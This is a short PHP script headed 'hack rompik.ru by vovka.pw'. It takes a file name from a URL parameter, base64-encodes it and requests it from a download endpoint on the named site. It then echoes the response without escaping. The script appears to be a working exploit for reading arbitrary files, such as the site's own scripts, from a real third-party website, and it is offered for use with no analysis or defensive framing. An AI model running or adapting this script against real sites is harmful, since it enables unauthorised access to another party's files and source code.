php hack rompik ru by vovka pw file _GET script if empty file die sas

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
/*
* hack rompik.ru
* by vovka.pw
*/
$file = @$_GET['f']; //script
if(empty($file))
die('sas');
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_URL => 'http://rompik.ru/dl/screen/'.base64_encode($file)
));
$data = preg_replace('/<!DOCTYPE.*?$/si', '', curl_exec($ch));
echo $data; //htmlspecialchars($data)